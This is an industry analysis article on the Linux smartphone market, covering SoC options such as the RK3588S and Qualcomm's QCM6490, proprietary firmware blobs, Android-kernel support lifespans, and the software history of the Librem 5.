Although it doesn’t generate many headlines in the tech press, a tiny Linux phone market still exists. Purism, PINE64, FuriLabs, Jolla, Jolla-Devices, Volla and PrivacyPortal (plus Brax in the future) all sell phones with some flavor of Linux preinstalled. The number of people buying Linux phones today is fewer than in 2020-22 when PINE64 was launching the PinePhone and PinePhone Pro, but there are actually more companies selling Linux phones than there was 5 years ago. There are good reasons to believe that many of the problems that plagued Linux phones in the past are going to be overcome in the future.

The SoC dilemma: weak but long lived vs powerful but short lived

In the past, the available hardware choices limited the viability of Linux phones. Systems-on-a-Chip (SoC’s) which support Linux are generally used in single-board-computers (SBC’s), TV setup boxes, internet of things (IoT) devices and embedded microprocessors in industrial and automotive applications, where the price points are lower, so their performance is generally weaker and they are less energy efficient than the typical mobile SoC designed for smartphones, because they are fabbed on older process nodes. However, they offer long-term support, because they are used in applications that have long product life cycles. For example, automobiles contain dozens of SoC’s and they typically takes 3 to 5 years just to design and need to be able to run for the next 20 years. In contrast, the mobile SoC’s with Android support are very powerful, but they are only produced for 2 to 3.5 years.

If the designers of Linux phones want to be able to run a Linux kernel (as opposed to an Android kernel), most of their options offer little processing power, poor energy efficiency and poor thermals. If they want to avoid proprietary blobs as much as possible, they either have to choose an older SoC which the community has been worked on for years to iron out the bugs in the free/open source drivers (e.g., the Allwinner A64 in the PinePhone), or they have to spend years patching the Linux kernel to properly support a newer SoC (as Purism did with the NXP i.MX 8M Quad in the Librem 5). If they decide that it is too much trouble to send their patches to mainline Linux, then it will be harder to support their hardware in the future, because they will have to keep applying those same patches to each new Linux kernel release. Purism generally chose to upstream its changes to mainline Linux, whereas the volunteers working on the PinePhone’s kernel were less consistent about upstreaming their changes.

The chipmakers like NXP, Rockchip, Allwinner, Amlogic and Broadcom who make SoC’s with Linux support simply don’t generate enough revenue to justify using a leading-edge process node in their chips. Even thought they can sell a Linux SoC for 10 to 15 years, they still won’t sell enough to recoup the extra $400 – $600 million that it would cost to use a 3nm process, and the costs keep going up with each new generation of process node. It is enormously expensive to design a chip at the cutting edge of the silicon industry. Silicon Analysts estimates that fabbing a wafer at TSMC costs an average of $19,500 at a 3nm node, but only $3000 at a 28nm node. Most Linux SoC’s are low-priced chips with very thin margins, so they have to sell millions of them to make much profit. Some Linux SoC makers like NXP focus on specialty markets, so they they have higher margins, but they tend not to sell many of them, so the profits are still limited.

Cost of chip design by nanometer

Another way that chipmakers reduce their costs is by using older generations of Cortex cores, which have lower licensing fees from ARM, and by using lots of low-power Cortex-A5 series cores, rather than the higher-power Cortex-A7 and Cortex-X series cores, which have higher licensing fees. NXP was clearly employing these cost cutting strategies with its i.MX 9 series processors. The most powerful chip in the series is the i.MX 95, which contains six Cortex-A55 cores, when it would have made more sense to use two Cortex-A78 cores for better performance and four Cortex-A55 cores for low power. The i.MX 95 was fabbed on a 16nm FinFET node, which is a slight regression compared to Samsung’s 14nm node used in the previous i.MX 8M Plus processor. Another example of this cost cutting was the decision by Broadcom to use older Cortex cores and larger process nodes in its BCM2836 (40nm, 4x Cortex-A7), BCM2837 (40nm, 4x Cortex-A53), BCM2711 (28nm, 4x Cortex-A72) and BCM2712 (16nm, 4x Cortex-A76), despite knowing that millions of these chips would be sold (e.g. in the Raspberry Pi 2, 3, 4 and 5, respectively). Even Nvidia, which is the world’s richest chipmaker due to the AI boom, appears to be avoiding the costs of using a leading-edge process node in its Tegra SoC. It canceled its planned Tegra Atlan series which was announced in April 2021, and still hasn’t released its Tegra Thor series, which was announced in September 2022. Its Tegra Orin series which was announced in March 2018 is now getting long in the tooth using an 8nm node.

In contrast, the smartphone market, which sold 1.25 billion units in 2025, has enormous volumes, and phone makers are willing to pay much higher prices for processors, especially for higher-end models, which allows Qualcomm, MediaTek, Apple, Samsung, Google, Xiaomi and Huawei to make the enormous investment in designing mobile SoC’s for an expensive 3nm process node. Integrated mobile SoC’s such as the Qualcomm Snapdragon and MediaTek Dimensity have so much volume, that they can make a profit despite the fact that they generally are only produced for 2 to 3 years. The flagship models (e.g. the Snapdragon 8 series and Dimensity 9000 series) lose most of their market after the first year, so SoC makers have to charge much higher prices to cover the enormous costs of using a leading-edge process node.

In addition, the integrated mobile SoC’s that run Android incorporate many additional functions, such as WiFi, Bluetooth, cellular modem, GPS/GNSS, audio DAC, charge controller and USB-C controller, which require separate chips on Linux phones like the PinePhone and Librem 5. This makes the circuit boards for these phones much more expensive to design, because they can’t just take a standard reference design from Qualcomm or MediaTek and tweak it. They have to custom design their circuit boards, which requires two to three times more components than the circuit board for a typical smartphone. The Librem 5 contains 74 integrated circuits (IC’s) and its 4 circuit boards have a total of 1267 components, making it the most complex phone ever created. The six chips (i.MX 8M Quad, RS9116, BM818, Teseo-LIV3F, WM8962 and bq25895) that the Librem 5 uses in place of an integrated mobile SoC occupy a total of 1483.2 mm2, which is 10 times the area of a Snapdragon 8. Purism had to use components as small as 0201 and use 10 layers to cram everything into the Librem 5’s main circuit board, which had to go through roughly a dozen iterations to get right. Even a minimal Linux phone like the PinePhone, which was designed to be as economical as possible, has 24 ICs and a total of 627 components on its circuit board, making it more complex than most Android smartphones, which typically have 300 to 400 components.

Adding all these extra components makes Linux phones more expensive to design and produce, but it also makes them suck more power, since it takes more energy to run half a dozen chips at larger node sizes than one integrated mobile SoC fabbed on a ≤4nm node, which has been optimized for energy efficiency. It is hard to coordinate all the extra chips in Linux phones to get them to enter lower power modes and sleep modes to conserve their batteries. Add in an SoC with an older node size between 28 and 8 nm that hasn’t been optimized for battery usage, and there is no way that Linux phones can match the battery life of Android phones.

The RK3588S changes the game for Linux phones

Many of the Linux SoC makers have decided that they shouldn’t even bother building chips with the CPU and GPU performance needed for a modern computing device. NXP, Amlogic and Broadcom simply aren’t interested in building competitive SoC’s. However, Rockchip fundamentally changed the prospects for making a decent Linux phone when it released the RK3588 and its lower-power RK3588S variant in 2022. With four 2.4Ghz Cortex-A76 cores and four 1.8GHz Cortex-A55 cores and a Mali-G610 MC4 graphics, there finally was a Linux SoC on the market with enough processing power in an SoC to make an acceptable Linux smartphone.

The Liberux NEXX and the Dawndrums Divine D. are two Linux phones currently being designed with the RK3588S. Purism just announced on its forum that its next gen phone “is actively being designed,” which won’t be based on the i.MX platform like the Librem 5 and Liberty, so it is likely to be based on the RK3588S as well.

Of course, the RK3588S’s performance isn’t going to impress anyone used to an Android phone. The RK3588 and RK3588S are fabbed on a 8nm process node, which is four generations behind today’s state of the art at 2nm. Today’s low-end Snapdragon 4 Gen 4 fabbed at 4nm has 25% better single core CPU performance than the RK3588. The RK3588S has similar performance to the RK3588 over short bursts, but its performance is 10%-15% less over periods longer than 30 seconds. By the time the Linux phones based on the RK3588S hit the market in a couple years time, they will have significantly worse performance than every Android smartphone on the market, but this difference probably won’t be a limiting factor for most people who aren’t 3D gaming or shooting high-resolution video. At a certain point, more processing power has diminishing utility, and the RK3588S crosses that threshold for most people.

Where the older process tech will be significant is in terms of their energy consumption. A phone sporting the RK3588S will run hotter and have worse battery life than phones using integrated mobile SoC’s from Qualcomm, MediaTek, UNISOC, etc. The challenge is to dissipate the extra heat. The PinePhone’s SoC and cellular modem get very hot because they do not have a good heat spreader. The Librem 5’s SoC is joined with thermal paste to the back plate of the LCD, which avoids overheating the SoC, but causes the touchscreen and aluminum frame to become hot to the touch. A Linux phone with the RK3358S will need some kind of heat dissipation, but it is unlikely that a Linux phone maker can afford to include a vapor chamber, since those have to be specially designed and would be very expensive for a phone of limited production. The RK3588S will need throttling to fit within the power and thermal envelope of a phone.

At first, the mainline Linux support for the RK3588 was very limited. Rockchip never published the documentation for the chip on its opensource.rock-chips.com site, and Rockchip took down that site at the end of 2025. On December 21, 2024, Jeff Geerling, the most influential reviewer in the Raspberry Pi alternative space, reported on X:

I was told Rockchip no longer considers RK3588 to be an ‘open source’ chip. In practice, that means Rockchip no longer contributes RK3588 code to open-source projects and they also decided not to sell RK3588 directly to SBC vendors.

On the other hand, Rockchip is still updating its public kernel code for the RK3588 at Github. Collabora has been toiling away for years to add mainline Linux support for the RK3588, and Collabora lists Rockchip as one of its partners, so Rockchip hasn’t totally abandoned the Linux community. Collabora recently added mainline Linux support for the video capture unit and MIPI CSI2 interface in the RK3588. Now Collabora is working with Ideas on Board and Rockchip to create an new image signal processor (ISP) driver for all the RK35xx chips. Collabora has gotten the hardware video decoder working for VP8, VP9, H.264 and H.265, and is now working on the hardware video encoder for H.264.

Four years after the RK3588S was released, there is now enough support for the chip in mainline Linux, that an RK3588S phone can be created running free/open source drivers. The RK3588S needs to execute a proprietary Synopsys DDR timing training blob at boot. The RK3588S can now use the free Panthor driver for the GPU, but it requires the proprietary mali_csffw.bin firmware, which is loaded from the /lib/firmware/ directory at boot. All the other blobs for the RK3588S have either been replaced or they aren’t necessary. There is now a FOSS driver for the NPU. The proprietary MPP library for hardware video encoding can be replaced with software video encoding, and Collabora is working on free drivers for the ISP and hardware video encode, so software video processing and encoding probably won’t be necessary in the future. Collabora has developed a FOSS version for the Trusted Firmware-A (TF-A), that can replace the proprietary bl31.elf firmware. The HDMI blob in the bl31.elf isn’t necessary if using DisplayPort Alt Mode for video out. The proprietary bl32.bin firmware is not necessary if not using the hardware-enforced security features or encryption keys.

If Purism uses the RK3588S in its next phone, it is unlikely that Purism will attempt to obtain the FSF’s RYF certification by storing blobs on a separate NOR Flash chip and executing them with a secondary processor, like it did with the Librem 5, because the RK3588S doesn’t have a secondary low-power processor like the Cortex-M4 in the i.MX 8M Quad.

There are good prospects that Collabora will eventually get all the RK3588S’s hardware supported with mainline Linux drivers, and until then, the RK3588S has enough processing power in the GPU and CPU to process and encode images and video in software, so a phone built on the RK3588S can take photos and shoot video like a normal smartphone, although it will be slower and use more energy. In contrast, previous phones using a Linux kernel simply didn’t have enough processing power to offer decent cameras. Taking photos on the PinePhone is painfully slow, and the Millipixels app on the Librem 5 pauses for 3 to 4 seconds after taking each photo. Because the Librem 5’s i.MX 8M Quad processor lacks an ISP, audio DSP and hardware video encoder, it takes roughly 10 times as long to process and encode a 720p video on the Librem 5 as the length of the video, and it’s about 50 times longer on the PinePhone, due to its antiquated Allwinner A64 processor and significantly slower RAM and eMMC.

Aside from the RK3588S, there aren’t many other options on the market to make a good Linux phone. The closest option is Nvidia’s Tegra Orin NX or Orin Nano Super, which only contain Cortex-A78 cores. They lack low-power Cortex-A55 cores and they aren’t very energy efficient. They sport newer tech than the Cortex-A76 cores in the RK3588S, but the Tegra Orin was fabbed on a 8nm node just like the RK3588S and the Tegra Orin’s lower clock rate limits its single-core performance. The Tegra Orin is also much worse in terms of software freedom, requiring proprietary blobs in the initial bootloader, the secondary bootloader, Boot Configuration Table, USB firmware, HDMI/DisplayPort configuration, ARM Trusted Firmware and the GPU userspace driver. Many Linux users can ignore the blobs in the Linux device tree, but it harder to ignore Nvidia’s GPU blob in the userspace.

Another option is the Allwinner A733 at 12nm, which offers less performance with dual 2.0Ghz Cortex-A76 cores and six 1.79GHz Cortex-A55 low-power cores. Allwinner stopped collaborating with the Linux community years ago, and has frequently violated the GPL 2.0 license by not publishing its Linux source code, so the A733 probably won’t be a viable option, although Allwinner has made some comments about intending to collaborate with the community in the future. Another option is the NXP i.MX 95, which does have mainline Linux support, but its performance on a 16nm node with six low-power Cortex-A55 cores is poor and not a good value for the money.

The PinePhone 2 was expected to use the more economical Rockchip RK3566, which is fabbed on an older 22nm node. However, so many volunteer developers abandoned PINE64 in 2022, that it is unlikely that the Hong Kong-based company will be launching any new models in the foreseeable future. The production of PINE64’s Linux devices are currently on hold due to the high RAM and eMMC prices caused by the AI boom, but part of the reason is that PINE64 can’t raise prices on many of its devices, which are only half-functional, because many of the community groups, who worked on the PinePhone, are no longer developing the software to support PINE64’s newer devices.

Another reason the RK3588 is the preferred option is because Rockchip is promising to provide a successor chip, the RK3668 with four Cortex-A730 cores and six Cortex-A530 cores at a 5 or 6 nm node in 2027, so it should be possible to keep upgrading the phone in the future. Purism invested heavily in supporting the 28nm i.MX 8M Quad in the Librem 5, thinking that it would be possible to upgrade to a future 14nm version of the SoC, but NXP decided to eliminate half the cores in the GPU and remove DisplayPort support in the 14nm i.MX 8M Plus, so Purism couldn’t upgrade its phone in the same processor family. Given that the cost of fabbing on smaller process nodes keeps rising, it is unlikely that any of the other chipmakers will launch a new chip to challenge the RK3588’s performance in the near future.

The new option of Linux phones using a Qualcomm IoT SoC

In the past, the only way to create a phone running on a Linux kernel was to design a complex device containing many separate chips. Historically Qualcomm didn’t bother making powerful processors for its SoC’s that supported Linux. However, there has been increasing demand for more powerful Internet of Things processors that can handle AI and lots of image processing from multiple video feeds. Unlike short-lived smartphones and tablets, IoT devices have long product lives, so they are better suited to use Linux, rather than Android which is much harder to support over time. In March 2023, Qualcomm dramatically improved the prospects for Linux phones with the announcement that its upcoming 6nm QCM6490 processor with an integrated cellular modem would support four operating systems (Android, Linux, Ubuntu and Windows IoT Enterprise).

Then the San Diego-based company announced its new Product Longevity Program, which would both sell and provide software support for the QCM6490 until July 2036. Both the FairPhone 5 and SHIFTphone 8 were designed around the QCM6490, due to the environmental benefits to its long support, and that long support is exactly what Linux phones also need, because it takes so long to bring a Linux phone to market and it needs to sell for many years to recoup the high investment in a product that has limited annual sales. The Fairphone 5 with the QCM6490 (1x 2.7Ghz Cortex-A78, 3x 2.4GHz Cortex-A78, 4x 1.9Ghz Cortex-A55) was criticized for its poor benchmarks and poor battery life compared to other Android phones. However, the QCM6490 offers significantly better CPU and GPU performance and better energy efficiency than the RK3588S.

The subsequent QCM4490 and QCM8850, which are fabbed on a newer 4nm node, offer lower and higher power options than the QCM6490. The QCM4490 (2x 2.4GHz Cortex-A78, 6x 2.0GHz Cortex-A55) has almost as good single-core performance as the QCM6490 and is more energy efficient, but its support ends in April 2030, which is too short for a Linux phone. The QCM8850 probably could be downclocked to fit within the power envelope of a Linux phone, but its support ends in April 2033, so the longer-lived QCM6490 is probably the better option for a Linux phone.

The benefit of using one of these IoT processors, which Qualcomm has rebranded as “Dragonwing“, is that they make it significantly easier to design a phone and bring it to market, since they incorporate so much functionality in one chip, which reduces the complexity of the phone’s circuit board. Qualcomm provides reference designs that can be customized, so designing a Linux phone with a Dragonwing processor should be much easier and require fewer circuit board iterations and less testing.

A company with limited resources could contract with SHIFT or Fairphone to produce their phones and then install Linux, similar to the way that both Murena and iodé sell Fairphones and SHIFTphones and install their AOSP variants focused on privacy on the phones. Not only would this avoid the time and cost of designing the hardware, but it would allow the Linux phone to be marketed for its environmental and ethical benefits. Fairphone or SHIFT could also be contracted to provide the warranty service for the phone.

Qualcomm provides free/open source drivers for its Snapdragon and Dragonwing processors, and over time many of these processors will be partially supported in mainline Linux. However, the Qualcomm drivers depend on many proprietary blobs. The Adreno A660 GPU uses a blob to accelerate the 3D graphics. The audio digital signal processor (aDSP) uses a blob to handle audio decoding and processing. A compute blob is used by the DSP and NPU for tasks like machine learning. The VPU needs a blob to do the hardware video decoding and encoding. The Inline Packet Accelerator (IPA) uses a blob to speed up its network routing. These blobs allow the SoC to run cooler and be more energy efficient, but tasks like audio processing, video encoding/decoding and compute can be handled in software by the CPU and/or GPU in order to avoid using these blobs.

While these blobs are optional, the blobs to operate the WiFi, Bluetooth and cellular modem would not be optional on a phone which needs those functions. None of those blobs are required in the userspace, but the only way to avoid them is to use separate WiFi/Bluetooth and cellular modem chips. Adding those chips to the phone’s circuit board would add significant extra cost and complexity and make the phone less energy efficient.

On the other hand, adding those extra chips would also make it possible to use a hardware kill switch to shut down the phone’s wireless communications, which would be a major selling point for the phone. However, the type of customer who wants to be able to cut the power to the WiFi/Bluetooth and cellular modem will also probably be worried about the three blobs needed to boot the Qualcomm QCM chips, especially the one which runs the hypervisor and the TrustZone that handles encryption. Although the RK3566, RK3588 and i.MX 95 also require a blob to boot, it is a tiny file from Synopsys DesignWare that simply trains the DDR RAM’s memory timing, whereas the Qualcomm blobs to boot the QCM4490, QCM6490 and QCM8850 are much more extensive.

The problem of using an Android kernel in a Linux phone

What made the wave of mobile Linux from 2020 – 2022 with the release of the Librem 5, PinePhone and PinePhone Pro so exciting was that these were phones that ran on a Linux kernel. In contrast, most other Linux phones run their Linux stack on top of libhybris, which loads Android libraries and drivers and translates calls to libc and musl, so they can work with Android’s Bionic. The advantage of using an Android kernel is that it allows Linux phones to use a modern integrated mobile SoC like a Qualcomm Snapdragon or MediaTek Dimensity with good performance and energy efficiency, so Linux phones can compete with Android phones.

The problem is that a Linux phone that runs on an Android kernel will significantly shorten the lifespan of the phone. Historically Google only supported each Android kernel for 4 years with security updates, and it was necessary to do at least one Android upgrade to get those 4 years of support, since Google usually only supports each Android release for 3.5 years.

It is a security risk to use an Android phone that is no longer getting security updates, because there is so much Android malware in the world, including in Google’s official Play Store. A lot of hackers are focused on attacking Android, because it is so widely used on devices that carry valuable personal information. AV-TEST counts 37.62 million distinct pieces of malware and 30.38 million potentially unwanted applications (PUA’s) for Android that do things that users may not want such as collecting their personal data. In contrast, AV-TEST counts 5.29 million pieces of malware and 58,128 PUA’s in Linux, and most of it is rarely installed, because most Linux users only install software from the repository of their distro, where free/open source software (FOSS) predominates and package maintainers would suffer reputational damage for including malware.

Companies like Qualcomm and MediaTek typically only sell their SoC’s for smartphones for 2 to 3 years, and most of the demand for the high-end Snapdragon and Dimensity models dries up after the first year, so historically they only provided Android updates for 1-3 years and security updates for 2 to 4 years. They usually didn’t bother upgrading the kernel and the drivers and the proprietary blobs that they provided were designed to function with a particular kernel and couldn’t be upgraded. Historically Google only supported three years of kernels in each Android version, so that limited most phones to being used with a maximum of three Android versions.

In contrast to the 2-4 years of software support for Android phones, Purism advertised that the Librem 5 would get “lifetime updates that actually extend your phone’s life.” Likewise, PINE64 promised that it would sell the PinePhone and its replacement parts for “at least 5 years.” These two Linux phones can be supported for far longer than any Android device on the market. They use free/open source drivers and Linux kernels that can keep being upgraded, because they doesn’t rely on proprietary blobs that are only compatible with a particular kernel version. While they do contain proprietary firmware, they are not dependent on the SoC manufacturer to provide new blobs that allow the use of recent versions of the kernel.

The problem with the short lifespan of Android kernels is that Linux phones typically take longer to develop and bring to market, and then they are sold for more years than most Android phones. Given all the challenges with using Linux SoC’s, it isn’t surprising that FuriLabs decided to use a conventional smartphone design sporting a MediaTek Dimensity 900 processor for its FLX1 phone, which started shipping in July 2024. The phone’s operating system, FuriOS, is based on the Droidian project, which runs a mobile Debian stack with Wayland + wlroots + GTK + GNOME libraries + Phosh on top of an Android kernel using libhybris. Unlike the Librem 5 and the PinePhone, the FLX1 has the processing power to handle all the tasks that people expect of a modern smartphone.

The problem is that the Dimensity 900 was released in May 2021 with Android 11 using the android11-5.4 kernel. Google stopped supporting this kernel on January 1, 2026, and Linux stopped providing updates for the 5.4 kernel on December 3, 2025. MediaTek doesn’t release major-version kernel upgrades for its processors (although that may change in the future), and the drivers that MediaTek provides for the Dimensity 900 contains proprietary blobs that can’t be upgraded to support newer kernels, so the FLX1, and its successors, the FLX1s and FLX1s+, are stuck with an outdated kernel for Android 11 that isn’t getting security patches and bug fixes. Since these phones use Andromeda, which is a custom fork of Waydroid, to run Android apps inside FuriOS, they are potentially exposed to a lot of Android malware. Waydroid has weakened the app sandbox and SELinux security in standard Android, and it is based on outdated AOSP 13, which stopped getting security updates in March 2026. Given the security implications, it is questionable whether FuriLabs should still be selling the FLX1s+ using an unsupported kernel.

The Jolla C2 Community Phone, which currently sells for €369, shares similar security concerns. The C2, which started shipping in September 2024, is based on the UNISOC Tiger T606 processor, which was announced in September 2021. The C2 is running a custom kernel named “5.4.233-android12-9-g9c3a5d5b97e3.” Presumably, the Finnish company took Linux 5.4.233, which was released on 25 Feb 2023, and added Google’s Android 12 kernel modifications, so it is essentially using the same unsupported kernel as the FLX1/s/s+, which hasn’t received any security updates from Google since January 1, 2026. Jolla hasn’t even bothered to update the kernel to 5.4.302, which was the last maintenance release from Linux for the 5.4 kernel on December 3, 2025. Jolla did not release the source code for the C2’s kernel until May 20, 2025, which was 8 months after it started shipping the phone, and its last update to that kernel on GitHub was on November 30, 2025. Even if Jolla does update its kernel to the last 5.4.302 release, it is important to keep in mind that kernel had 1539 unfixed CVE’s (Common Vulnerabilities and Exposures) when released. New critical CVE’s for Linux are found on average every 2.5 days, so there are benefits to switching to the close-to-mainline 7.2 kernel provided by the community for the C2 phone.

Like the FuriLabs FLX1/s/s+, the Jolla C2 also can run Android apps, which may contain malware, but it uses Jolla’s proprietary AppSupport (aka AlienDalvik), which runs AOSP inside an LXC container like Waydroid. With AppSupport, the Android apps have better integration into the host operating system than Waydroid. Presumably Jolla is running a more recent version of AOSP than Waydroid, since Jolla licenses the use of AppSupport to other companies, so it probably is applying Google’s security updates for AOSP, but not for the unsupported kernel on the C2 phone.

All the Linux phones running Android kernels, such as the Volla phones with Ubuntu Touch and the new Jolla Phone (2026) running Sailfish OS, will face this same problem that their lifespans are cut short by their Android kernels that can only get a major version upgrade from the SoC manufacturer due to their proprietary blobs only being compatible with one major version of the kernel. Unfortunately, all these phones are using MediaTek processors, which either have little or no mainline Linux support, so their lifespan can’t be extended by switching to a mainline Linux kernel.

Linux phones based on Android will become more viable due to longer support

Nonetheless, the planned obsolescence of the Android phone market has started to change. Google wanted its Android operating system to better compete with Apple’s iOS. Apple promises at least 5 years of support for its phones and typically provides over 6 years. Unlike the other Android phone makers, Google’s business model doesn’t depend on planned obsolescence. The more people that Google can convince to use its operating system, the more data Google can collect for its targeted advertising, so extending the life of Android phones is a way to attract more users to its platform.

Global smartphone sales

In addition, the COVID-19 pandemic caused people to buy fewer new phones, and then the subsequent supply chain crunch caused phone prices to rise due to the more expensive components. The global average selling price of Apple’s iPhone increased from $724 to $903 between 2020 and 2024. Global smartphone sales collapsed in 2020 and have never recovered to their pre-pandemic levels. In order to convince people to open their wallets for more expensive phones, consumers needed to be convinced that they would last longer.

In August 2020, Samsung announced that its S, Note and Z series phones starting with the S10 would all get three years of OS updates and security updates, just like Google had been providing for its Pixels, since the brand was first launched in 2016. At the time when Samsung made this policy change, the smartphone industry had just experienced the worst decline in its history, with unit sales dropping 23% YoY in the second quarter of 2020. In October 2021, Google announced that it would significantly extended the lifespan of its Pixel devices, promising 3 years of OS updates and 5 years of security updates, beginning with the Pixel 6. Samsung couldn’t allow its Galaxy devices to usurped as the best Android brand. In February 2022, Samsung announced that it would surpass Google with a promise of four years of OS updates and 5 years of security patches for its flagship models, starting with the Galaxy S21, Z3 and Tab8.

This set off a competition between the two firms to see which one could provide the longest software support for its mobile devices. Google decided to leapfrog Samsung again and set a new standard that would best Apple’s support policy. In October 2023, Google pledged that the Pixel 8 series would get 7 years of OS updates and security updates, plus “Pixel Feature Drops” and “AI technology from Google”. Google’s announcement that it would support the Pixel 8 into 2030 sent shock waves through the mobile industry. Samsung was determined to not be outdone by Google, and announced in January 2024 that its new Galaxy S24 and S24 Ultra would also get 7 years of OS updates and security updates. In 2025, Samsung extended the software support to six years for all its new Galaxy models, including its low-end Galaxy A06 4G, which costs around $125.

Samsung software support

In October 2024 during its Snapdragon Summit, Qualcomm commented that it would be offering 8 years of OS upgrades and security updates for its high-end mobile processors, and in February 2025, it formally announced that its new 7, 8 and 8 Elite processors released that year would all get this unprecedented level of support. Just as important, Qualcomm promised that its high-end Snapdragon processors would also get two kernel upgrades, so they would be using kernels that are officially supported by new Android releases. MediaTek couldn’t let Qualcomm corner the high-end mobile processor market for the next generation of flagship phones. On May 27, 2025, MediaTek posted that its Dimensity 8400 and 9400 chips would also get 8 years of support.

Traditionally each new Android version only supports three years of kernels, but in 2024 Google added a fourth year with Android 15 (android12-5.10 to android15-6.6) and a fifth year with Android 16 (android12-5.10 to android16-6.12) and a sixth year with Android 17 (android12-5.10 to android17-6.18). However, these extra years of support in Android are likely a temporary fix that Google implemented until it can move the chipmakers into its Longevity Google Requirements Freeze (LGRF) program which Google began in October 2024. Under this program, chipmakers are expected to upgrade their kernels every 3 years in order to be able to support their SoC’s in the long term. After the Linux kernel maintainers announced that they would be reducing their support of their LTS kernels from 6 to 2 years, Google announced in July 2024 that it would provide security updates to its kernels for 4 years, so that suggests that future Android releases will go back to only supporting 3 years of kernels.

Qualcomm has promised to provide two kernel updates for its high end processors, but Qualcomm has said nothing about its lower-tier processors, except for its announcement back in December 2020 that all of its Snapdragon processors would get three years of OS updates and 4 years of security updates. Other SoC manufacturers have been similarly mum on the support for their lower-tier processors. In all likelihood, most smartphones with mid-range and low-end processors will only get 4 years of support, which means that all the existing Linux phones from Volla, FuriLabs, Jolla and Brax will probably face the same problem of using unsupported Android kernels that can’t be upgraded.

New Linux phones, however, can be designed in the future to get 8 years of support if they use a higher-end Snapdragon or Dimensity processor. Even if designing a custom phone like the FLX1, which took three years to bring to market, because it has three hardware kill switches for the microphone, cameras and cellular modem and it required a lot of software dev work, the Linux phone should still be viable because it will still have 5 more years of software support and can be sold for at least 3 years.

If selecting the Snapdragon 8 or Dimensity 9000 series to take advantage of its longer software support, the phone will get the added benefit of offering video out via DisplayPort Alt Mode over its USB-C port. That means that the phone can be marketed as a convergent device that allows it to be used as both a phone and a desktop PC. Unlike an Android desktop, a Linux desktop is far more useful as a PC. If the phone has enough RAM and storage space, it can become a replacement for the traditional PC for people who don’t need a lot of processing power, but it has the convenience of being more portable than a laptop, and not needing to transfer data between multiple devices. For people who have to work in multiple locations and want to be able to carry their data around with them, a convergent phone can be a very attractive option.

If designing a more economical phone, however, that doesn’t need video out, the Snapdragon 7 and Dimensity 8400 are processors designed for upper mid-range phones, and they still get the 8 years of support (if the phone maker is willing to pay Qualcomm or MediaTek for the extended support). This will be the most attractive option for Volla, Jolla, FuriLabs and Brax, which all sell mid-range phones.

If a Snapdragon chip is selected, there is a decent chance that the chip will eventually gain some mainline Linux support, so the phone can have a second life after the official support ends, although its functions requiring binary blobs probably won’t work with the upgraded mainline Linux kernel. What is so frustrating is that many of the makers of Linux phones are selecting MediaTek processors over Snapdragon processors, so there is little hope for that second life.

Why software was a major challenge for the Librem 5

When Purism announced the Librem 5 in August 2017, the California-based company wasn’t just facing a major obstacle in using a new SoC, that hadn’t yet been released, which would significantly delay the phone. Purism, however, faced an even bigger challenge in the software to install on the phone.

Purism had observed how trying to develop mobile Linux had humbled larger companies with far more resources, and it tried to avoid their mistakes. Motorola developed half a dozen different varieties of Linux, but couldn’t unify and direct its development efforts, and eventually adopted Android which commoditized its phones, so it had to be sold off to Google and eventually Lenovo in order to survive. Palm took too long developing webOS and ran out of money as Android ate its market, so it had to sell itself off to HP in 2010 in order to survive. Likewise, Nokia took too long developing MeeGo as its business collapsed due to Android, so it turned to Microsoft in 2010 to provide Windows Mobile for its phones, which only hastened the destruction of the Finnish company. The Mozilla Foundation developed an entire operating system based on web standards, but found that it didn’t have the resources to match Google’s Android, and abandoned the development of Firefox OS for smartphones in December 2015, although it continued development for TVs and Internet of Things for another 10 months. Canonical attempted to unify the desktop and mobile spaces with its Unity8 interface and develop Ubuntu Touch as a mobile OS with good convergence for the desktop. However, it proved to be a costly endeavor with limited commercial interest, and Canonical’s CEO, Mark Shuttleworth, announced that the company would abandon the development of Ubuntu Touch in April 2017.

This tragic history has taught Linux hardware vendors that they should do as little software development as possible, except code to make their hardware work and some distro maintenance. However, avoiding software dev work was not viable strategy in 2017 for the kind of phone that Purism was attempting to create.

All the available mobile Linux interfaces in 2017 had major drawbacks, including Sailfish OS’s Silica, Firefox OS’s Gaia, KDE’s Plasma Mobile, UBports’ Unity8→Lomiri, Maemo Leste’s Hildon, LuneOS’s Luna Next and Nemo Mobile’s Glacier UI. Jolla had spent years polishing its Sailfish OS, but Purism’s goal of 100% free software disqualified Jolla’s proprietary Silica interface, as well as Samsung’s Tizen, whose problematic Flora License grants a patent license only to “Tizen certified platforms”. Nemo Mobile and Plasma Mobile were still incomplete and would have required a lot of dev work on Purism’s part to supply all the missing parts. LG had turned webOS into an operating system for smart TVs/projectors and automobiles, and replacing LG’s proprietary bits would have taken quite a bit of work. Firefox OS and Ubuntu Touch were complete systems, but both of them would have required a huge commitment on Purism’s part to maintain their software in the long term. Firefox OS’s code was abandoned, and the volunteers at UBports didn’t have the manpower to maintain its huge codebase. All of the available interfaces were based on a separate mobile stack, whereas Purism wanted to unify with the software stack in desktop Linux, because one of its announced goals was that the Librem 5 could be used with the major distros, including Debian, Ubuntu, Fedora, SUSE and Arch.

Purism originally leaned toward adopting Plasma Mobile for its Librem 5 phone, but that would have required maintaining both a GNOME-based stack on the desktop and a separate KDE-based mobile stack in its PureOS distribution. At that point in time, Plasma Mobile was still an inchoate system, that would have required a huge amount of dev work to get ready for a commercial product launch. Plasma Mobile was based on many things that were incompatible with a desktop stack, such as oFono telephony and the Halium Project, which was also used by LG’s webOS and UBport’s Ubuntu Touch, in order to run the system on top of libhybris with an Android kernel and drivers.

Purism was already working with GTK and GNOME in PureOS, and it marketed the Librem 5 as a phone aligned with the ideals of the Free Software Foundation, which sponsored GNOME, so it made sense for Purism to favor an interface based on GTK and the GNOME ecosystem. However, the only available GTK-based interface was Hildon, which was hopelessly outdated, and would have required a lot of work to upgrade from GTK 2 to GTK 3.

